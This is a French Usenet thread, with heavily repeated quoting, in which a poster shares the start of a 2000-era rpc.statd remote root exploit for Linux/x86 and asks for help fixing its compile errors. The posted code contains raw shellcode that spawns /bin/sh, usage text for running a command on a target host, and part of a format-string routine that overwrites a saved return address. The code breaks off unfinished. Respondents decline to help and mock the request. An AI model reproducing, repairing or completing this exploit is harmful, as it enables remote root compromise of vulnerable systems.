j ai ce code en c
j ai plein de warning pas grave
mais j ai des errors que je ne sans pas corrige pouvez vous m aider
gcc -o output_file -Wall output_file.c
/*
* rpc.statd remote root xploit for linux/x86
* based on the xploit made by drow for linux/PowerPC
*
* Author: Doing, 08/2000
*
* NOTE:
* The guest of the remote address of the saved EIP and local vars
* is still a problem. The value showed on the usage worked
* fine on mi suse with the compiled sources. With gdb and a little
* patience you should get the address for your distro/version.
* Some address doesn't work, because they cause a very long result,
* and the syslog() function overflows itself when parsing the
* format input :(
*
* Greetz to Pascal Bouchareine for that great paper on format bugs :)
*
* Y saludos a los canales #phreak y #hacker_novatos del IRC hispano :P
*
* Excuse my poor english :-)
*
*/
void usage(char *s) {
printf("rpc.statd xploit for linux/x86 - Doing <jdoing@bigfoot.com>\n");
printf("Usage: %s host address command\n", s);
printf("host\t: the targe host\n");
printf("address\t: the address of the buffer in function log()\n");
printf("command\t: command to run remotely\n\n");
printf("ej:%s 127.0.0.1 0xbffff3d4 \"/usr/X11R6/bin/xterm
-ut-display127.0.0.1:0\"\n\n", s);
printf("Enjoy!\n");
exit(0);
}
/*
shellcode without cr/lf and control caracters
*/
char *code =
"\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89"
"\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb"
"\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83"
"\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e"
"\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff"
"\xff\xff/bin/sh -c ";
char shellcode[4096];
void make_shellcode(char *cdir, char *cmd)
{
unsigned long dir, ret;
int c, eat = 14;
int first_n = 0xc9;
char tmp[1024];
int i, i0, i1, i2;
char *ptr = shellcode;
memset(shellcode, 0, 4096);
sscanf(cdir, "%x", &dir);
ret = dir + 0xd0 - 20; /* put ret address into nop-space :) */
dir += 1028; /* dir = address of saved EIP = address of buffer +
1024 bytes of buffer + 4 bytes of SFP */
i = (ret & 0xff00) >> 8;
if (i > i0) sprintf(ptr, "%%0%ix%%n", i - i0);
if (i == i0) sprintf(ptr, "%%n");
if (i < i0) {
i |= 0x0100;
sprintf(ptr, "%%0%ix%%n", i - i0);
}
ptr = &shellcode[strlen(shellcode)];
j ai ce code en c j ai plein de warning pas grave mais j ai des errors que je ne sans pas corrige pouvez vous m aider
Oui, apprenez le C.
-- http://harpo.free.fr/
MK
j ai ce code en c j ai plein de warning pas grave mais j ai des errors que je ne sans pas corrige pouvez vous m aider gcc -o output_file -Wall output_file.c
[...]
Ouais enfin deja t'essayes de le compiler sur quel systeme d'exploitation, avec quel compilateur, etc... ? Et ensuite quel genre d'erreurs as tu ? Puis pour finir: c'est plus sympa d'apprendre le C :)
MK
j ai ce code en c
j ai plein de warning pas grave
mais j ai des errors que je ne sans pas corrige pouvez vous m aider
gcc -o output_file -Wall output_file.c
[...]
Ouais enfin deja t'essayes de le compiler sur quel systeme
d'exploitation, avec quel compilateur, etc... ?
Et ensuite quel genre d'erreurs as tu ?
Puis pour finir: c'est plus sympa d'apprendre le C :)
j ai ce code en c j ai plein de warning pas grave mais j ai des errors que je ne sans pas corrige pouvez vous m aider gcc -o output_file -Wall output_file.c
[...]
Ouais enfin deja t'essayes de le compiler sur quel systeme d'exploitation, avec quel compilateur, etc... ? Et ensuite quel genre d'erreurs as tu ? Puis pour finir: c'est plus sympa d'apprendre le C :)
MK
DINH Viêt Hoà
john.swilting wrote:
j ai ce code en c j ai plein de warning pas grave mais j ai des errors que je ne sans pas corrige pouvez vous m aider
Oui, apprenez le C.
C'est marrant, en général, ce genre de code est plombé d'erreurs pour ne pas tomber entre mains de n'importe qui. On a une démonstration concrète de l'efficacité.
-- DINH V. Hoa,
"un esprit sain dans un corps sain" -- voisin
john.swilting wrote:
j ai ce code en c
j ai plein de warning pas grave
mais j ai des errors que je ne sans pas corrige pouvez vous m aider
Oui, apprenez le C.
C'est marrant, en général, ce genre de code est plombé d'erreurs pour ne
pas tomber entre mains de n'importe qui. On a une démonstration concrète
de l'efficacité.
j ai ce code en c j ai plein de warning pas grave mais j ai des errors que je ne sans pas corrige pouvez vous m aider
Oui, apprenez le C.
C'est marrant, en général, ce genre de code est plombé d'erreurs pour ne pas tomber entre mains de n'importe qui. On a une démonstration concrète de l'efficacité.
-- DINH V. Hoa,
"un esprit sain dans un corps sain" -- voisin
bruno at modulix
john.swilting wrote:
j ai ce code en c j ai plein de warning pas grave mais j ai des errors que je ne sans pas corrige pouvez vous m aider gcc -o output_file -Wall output_file.c
/* * rpc.statd remote root xploit for linux/x86 * based on the xploit made by drow for linux/PowerPC
Et oui, ce genre de code, c'est pas pour les script-kiddies... Tu ferais mieux d'apprendre à programmer (et éventuellement à écrire dans un français à peu près correct).
-- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in ''.split('@')])"
john.swilting wrote:
j ai ce code en c
j ai plein de warning pas grave
mais j ai des errors que je ne sans pas corrige pouvez vous m aider
gcc -o output_file -Wall output_file.c
/*
* rpc.statd remote root xploit for linux/x86
* based on the xploit made by drow for linux/PowerPC
Et oui, ce genre de code, c'est pas pour les script-kiddies... Tu ferais
mieux d'apprendre à programmer (et éventuellement à écrire dans un
français à peu près correct).
--
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb@xiludom.gro'.split('@')])"
j ai ce code en c j ai plein de warning pas grave mais j ai des errors que je ne sans pas corrige pouvez vous m aider gcc -o output_file -Wall output_file.c
/* * rpc.statd remote root xploit for linux/x86 * based on the xploit made by drow for linux/PowerPC
Et oui, ce genre de code, c'est pas pour les script-kiddies... Tu ferais mieux d'apprendre à programmer (et éventuellement à écrire dans un français à peu près correct).
-- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in ''.split('@')])"
Harpo
DINH Viêt Hoà wrote:
john.swilting wrote:
j ai ce code en c j ai plein de warning pas grave mais j ai des errors que je ne sans pas corrige pouvez vous m aider
Oui, apprenez le C.
C'est marrant, en général, ce genre de code est plombé d'erreurs pour ne pas tomber entre mains de n'importe qui. On a une démonstration concrète de l'efficacité.
Ce serait vraiment efficace s'ils pouvaient arriver à trouver du plaisir à programmer plutôt que de se livrer à des enfantillages.
-- http://harpo.free.fr/
DINH Viêt Hoà wrote:
john.swilting wrote:
j ai ce code en c
j ai plein de warning pas grave
mais j ai des errors que je ne sans pas corrige pouvez vous m aider
Oui, apprenez le C.
C'est marrant, en général, ce genre de code est plombé d'erreurs pour
ne pas tomber entre mains de n'importe qui. On a une démonstration
concrète de l'efficacité.
Ce serait vraiment efficace s'ils pouvaient arriver à trouver du plaisir
à programmer plutôt que de se livrer à des enfantillages.
j ai ce code en c j ai plein de warning pas grave mais j ai des errors que je ne sans pas corrige pouvez vous m aider
Oui, apprenez le C.
C'est marrant, en général, ce genre de code est plombé d'erreurs pour ne pas tomber entre mains de n'importe qui. On a une démonstration concrète de l'efficacité.
Ce serait vraiment efficace s'ils pouvaient arriver à trouver du plaisir à programmer plutôt que de se livrer à des enfantillages.